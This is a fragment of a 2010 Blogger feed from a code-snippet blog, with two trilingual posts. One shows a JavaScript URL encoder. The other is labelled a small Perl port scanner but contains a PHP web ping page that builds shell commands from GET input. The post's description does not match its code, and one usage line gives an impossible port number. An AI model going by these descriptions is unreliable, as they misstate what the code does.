src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-4556441710805249260</id><published>2010-01-11T14:34:00.000-08:00</published><updated>2010-01-12T04:58:59.265-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='GET methode'/><category scheme='http://www.blogger.com/atom/ns#' term='decode'/><category scheme='http://www.blogger.com/atom/ns#' term='URLencode'/><category scheme='http://www.blogger.com/atom/ns#' term='stripslashes'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='encode'/><title type='text'>[JAVASCRIPT &amp;&amp; PHP] URLencode data | Encoder des variables transmises via URL</title><content type='html'>&lt;script src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js" type="text/javascript"&gt;&lt;/script&gt;&lt;br /&gt;&lt;script src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushJScript.js" type="text/javascript"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A13162259478121996"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B13162259478121996"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C13162259478121996"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D13162259478121996"&gt;&lt;span&gt;JavaScript&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/span&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div id="A13162259478121996"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; line-height: 18px; color: rgb(51, 51, 51); font-size: 11px; "&gt;Encoder des données afin de mieux les faire passer dans des requêtes &lt;b&gt;HTTP&lt;/b&gt;...&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; line-height: 18px; color: rgb(51, 51, 51); font-size: 11px; "&gt;&lt;span class="fullpost" style="display: inline; "&gt;Particulièrement utile quand ces données comportent des caractères sensibles à l'&lt;b&gt;HTML&lt;/b&gt;.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; line-height: 18px; color: rgb(51, 51, 51); font-size: 11px; "&gt;&lt;span class="fullpost" style="display: inline; "&gt;Pour récupérer la données par exemple dans &lt;b&gt;PHP&lt;/b&gt; utiliser &lt;i&gt;stripslashes()&lt;/i&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B13162259478121996"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; line-height: 18px; color: rgb(51, 51, 51); font-size: 11px; "&gt;Encode data to easily transfer it via &lt;b&gt;HTTP&lt;/b&gt; requests...&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; line-height: 18px; color: rgb(51, 51, 51); font-size: 11px; "&gt;&lt;span class="fullpost" style="display: inline; "&gt;Particularly useful when data contains characters sensitive to &lt;b&gt;HTML&lt;/b&gt;.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; line-height: 18px; color: rgb(51, 51, 51); font-size: 11px; "&gt;&lt;span class="fullpost" style="display: inline; "&gt;To recover the data for example in &lt;b&gt;PHP&lt;/b&gt; use &lt;i&gt;stripslashes()&lt;/i&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;div id="C13162259478121996"&gt;&lt;font class="Apple-style-span" color="#333333" face="'Trebuchet MS', sans-serif" size="3"&gt;&lt;span class="Apple-style-span" style="font-size: 11px; line-height: 18px;"&gt;&lt;br /&gt;&lt;div dir="rtl"&gt;&lt;div dir="rtl"&gt;تشفير المعلومة لإرسالها عبر طلب &lt;b&gt;HTTP&lt;/b&gt; &amp;nbsp;بأكثر سهولة.&lt;/div&gt;&lt;span class="fullpost" style="display: inline; "&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div dir="rtl"&gt;مفيدة بشكل خاص عدم تكون المعلومة تحتوي على رموز &lt;b&gt;HTML&lt;/b&gt; .&lt;/div&gt;&lt;div dir="rtl"&gt;لاسترداد البيانات على سبيل المثال في &lt;b&gt;PHP&lt;/b&gt; إستعمال الوظيفة )(&lt;i&gt;stripslashes&lt;/i&gt;&amp;nbsp;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/font&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; line-height: 18px; color: rgb(51, 51, 51); font-size: 11px; "&gt;&lt;span class="fullpost" style="display: inline; "&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;div id="D13162259478121996"&gt;&lt;a onClick='opennew("D13162259478121996")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: js;"&gt;&amp;lt;script&amp;gt;&lt;br /&gt;//####################################################################&lt;br /&gt;// visit scripts-n-codes.blogspot.com for more codes&lt;br /&gt;// encode data to be sent via HTTP (for example to sens HTML content)&lt;br /&gt;// use the PHP code below to recover the data&lt;br /&gt;//####################################################################&lt;br /&gt;&lt;br /&gt;function URLEncode(data)&lt;br /&gt;{&lt;br /&gt; var SAFECHARS = "0123456789" +     // Numeric&lt;br /&gt;     "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // Alphabetic&lt;br /&gt;     "abcdefghijklmnopqrstuvwxyz" +&lt;br /&gt;     "-_.!~*'()";     // RFC2396 Mark characters&lt;br /&gt; var HEX = "0123456789ABCDEF";&lt;br /&gt;&lt;br /&gt; var plaintext = data;&lt;br /&gt; var encoded = "";&lt;br /&gt; for (var i = 0; i &amp;lt; plaintext.length; i++ ) {&lt;br /&gt;  var ch = plaintext.charAt(i);&lt;br /&gt;     if (ch == " ") {&lt;br /&gt;      encoded += "+";    // x-www-urlencoded, rather than %20&lt;br /&gt;  } else if (SAFECHARS.indexOf(ch) != -1) {&lt;br /&gt;      encoded += ch;&lt;br /&gt;  } else {&lt;br /&gt;      var charCode = ch.charCodeAt(0);&lt;br /&gt;   if (charCode &amp;gt; 255) {&lt;br /&gt;       alert( "Unicode Character '" &lt;br /&gt;                        + ch &lt;br /&gt;                        + "' cannot be encoded using standard URL encoding.\n" +&lt;br /&gt;              "(URL encoding only supports 8-bit characters.)\n" +&lt;br /&gt;        "A space (+) will be substituted." );&lt;br /&gt;    encoded += "+";&lt;br /&gt;   } else {&lt;br /&gt;    encoded += "%";&lt;br /&gt;    encoded += HEX.charAt((charCode &amp;gt;&amp;gt; 4) &amp;amp; 0xF);&lt;br /&gt;    encoded += HEX.charAt(charCode &amp;amp; 0xF);&lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt; } // for&lt;br /&gt;&lt;br /&gt;return encoded;&lt;br /&gt;};&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php;"&gt;&amp;lt;?&lt;br /&gt;//####################################################################&lt;br /&gt;// visit scripts-n-codes.blogspot.com for more codes&lt;br /&gt;// for example to recover a data sent by GET methode&lt;br /&gt;//####################################################################&lt;br /&gt;&lt;br /&gt;$data = stripslashes($_GET['data']);&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-4556441710805249260?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/4556441710805249260/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=4556441710805249260&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/4556441710805249260'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/4556441710805249260'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/javascript-php-urlencode-data-encoder.html' title='[JAVASCRIPT &amp;&amp; PHP] URLencode data | Encoder des variables transmises via URL'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-1925404780598980612</id><published>2010-01-11T11:38:00.001-08:00</published><updated>2010-01-14T11:43:43.866-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='small script'/><category scheme='http://www.blogger.com/atom/ns#' term='ports'/><category scheme='http://www.blogger.com/atom/ns#' term='scan'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>[PERL] Port scanner (very small) | Scanneur de ports (très petit)</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A75000132992863650"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B75000132992863650"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C75000132992863650"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D75000132992863650"&gt;&lt;span&gt;PHP&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div id="A75000132992863650"&gt;&lt;div&gt;Un scanner de ports très petit...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div&gt;Utilisation: [exemple]&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font class="Apple-style-span" face="'Courier New'"&gt;perl scan.pl 127.0.0.1 0 55555&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Va scanner le localhost du port 0 à 55555&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B75000132992863650"&gt;&lt;div&gt;A very small port scanner...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div&gt;Usage: [example]&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font class="Apple-style-span" face="'Courier New'"&gt;perl scan.pl 127.0.0.1 0 55555&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Will scan all ports from 0 to 55555 on the localhost&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C75000132992863650"&gt;&lt;div style="text-align: right;"&gt;يسمح بمسحح كل منافذ الكمبيوترو صغير جدا&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;يسمح بمسحح كل منافذ الكمبيوترو صغير جدا&lt;/div&gt;&lt;div style="text-align: right;"&gt;&amp;nbsp;مثال عن&amp;nbsp;الاستعمال‎&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: right;"&gt;perl scan.pl 127.0.0.1 0 66666 &lt;/div&gt;&lt;div style="text-align: right;"&gt;يسمح بمسح كل المنافذ من ٠ إلى ٦٦٦٦٦ على لوكالهوست&amp;nbsp;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D75000132992863650"&gt;&lt;a onClick='opennew("D75000132992863650")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;"&gt;&amp;lt;?&lt;br /&gt;//#################################################&lt;br /&gt;// find more codes on codes-n-scripts.blogspot.com&lt;br /&gt;//#################################################&lt;br /&gt;?&gt;&lt;br /&gt;&amp;lt;html&gt;&lt;br /&gt; &amp;lt;head&gt;&lt;br /&gt;  &amp;lt;title&gt;Web Ping&amp;lt;/title&gt;&lt;br /&gt;  &amp;lt;style type='text/css'&gt;&lt;br /&gt;   pre {&lt;br /&gt;    background:black;&lt;br /&gt; border:1px lime solid;&lt;br /&gt; color:lime;&lt;br /&gt;   }&lt;br /&gt;   td {&lt;br /&gt;    font-family:monospace;&lt;br /&gt;   }&lt;br /&gt;  &amp;lt;/style&gt;&lt;br /&gt; &amp;lt;/head&gt;&lt;br /&gt; &amp;lt;body&gt;&lt;br /&gt;  &amp;lt;?php&lt;br /&gt;&lt;br /&gt;   # clean the strings to prevent injection attacks&lt;br /&gt;   $BADCHARS='/[^\.\w]/';&lt;br /&gt;   $HOST=preg_replace($BADCHARS, '', $_GET['host']);&lt;br /&gt;   $C=preg_replace($BADCHARS, '', $_GET['c']);&lt;br /&gt;   $I=preg_replace($BADCHARS, '', $_GET['i']);&lt;br /&gt; &lt;br /&gt;   if ($I=="") { $I=1; } # assign default values&lt;br /&gt;   if ($C=="") { $C=4; } # assign default values&lt;br /&gt;&lt;br /&gt;   if ($HOST!="") { # this is where the magic happens&lt;br /&gt;    echo '&amp;lt;pre&gt;';&lt;br /&gt;    $last_line = system('/bin/ping '.$HOST.' -c '.$C.' -i '.$I, $retval);&lt;br /&gt;    echo '&amp;lt;/pre&gt;';&lt;br /&gt;   }&lt;br /&gt; &lt;br /&gt;  ?&gt;&lt;br /&gt;  &amp;lt;form action='ping.php' method='get'&gt;&lt;br /&gt;   &amp;lt;table&gt;&lt;br /&gt;    &amp;lt;tr&gt;&lt;br /&gt;     &amp;lt;td&gt;Hostname/IP:&amp;lt;/td&gt;&amp;lt;td&gt;&amp;lt;input type='text' name='host' value='&amp;lt;?php echo $HOST ?&gt;'/&gt;&amp;lt;/td&gt;&lt;br /&gt;    &amp;lt;/tr&gt;&lt;br /&gt; &amp;lt;tr&gt;&lt;br /&gt;  &amp;lt;td&gt;count:&amp;lt;/td&gt;&amp;lt;td&gt;&amp;lt;input type='text' name='c' value='&amp;lt;?php echo $C ?&gt;' /&gt;&amp;lt;/td&gt;&lt;br /&gt; &amp;lt;/tr&gt;&lt;br /&gt; &amp;lt;tr&gt;&lt;br /&gt;  &amp;lt;td&gt;interval:&amp;lt;/td&gt;&amp;lt;td&gt;&amp;lt;input type='text' name='i' value='&amp;lt;?php echo $I ?&gt;' /&gt;&amp;lt;/td&gt;&lt;br /&gt; &amp;lt;/tr&gt;&lt;br /&gt;    &amp;lt;tr&gt;&lt;br /&gt;     &amp;lt;td colspan='2'&gt;&lt;br /&gt;      &amp;lt;input type='submit' value='Ping It' /&gt;&amp;lt;br&gt;&amp;lt;br&gt;&amp;lt;br&gt;&lt;br /&gt;     &amp;lt;/td&gt;&lt;br /&gt;    &amp;lt;/tr&gt;&lt;br /&gt;   &amp;lt;/table&gt;&lt;br /&gt;  &amp;lt;/form&gt;&lt;br /&gt; &amp;lt;/body&gt;&lt;br /&gt;&amp;lt;/html&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-1925404780598980612?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/1925404780598980612/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=1925404780598980612&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/1925404780598980612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/1925404780598980612'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/perl-port-scanner-very-small-scanneur.html' title='[PERL] Port scanner (very small) | Scanneur de ports (très petit)'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry></feed>
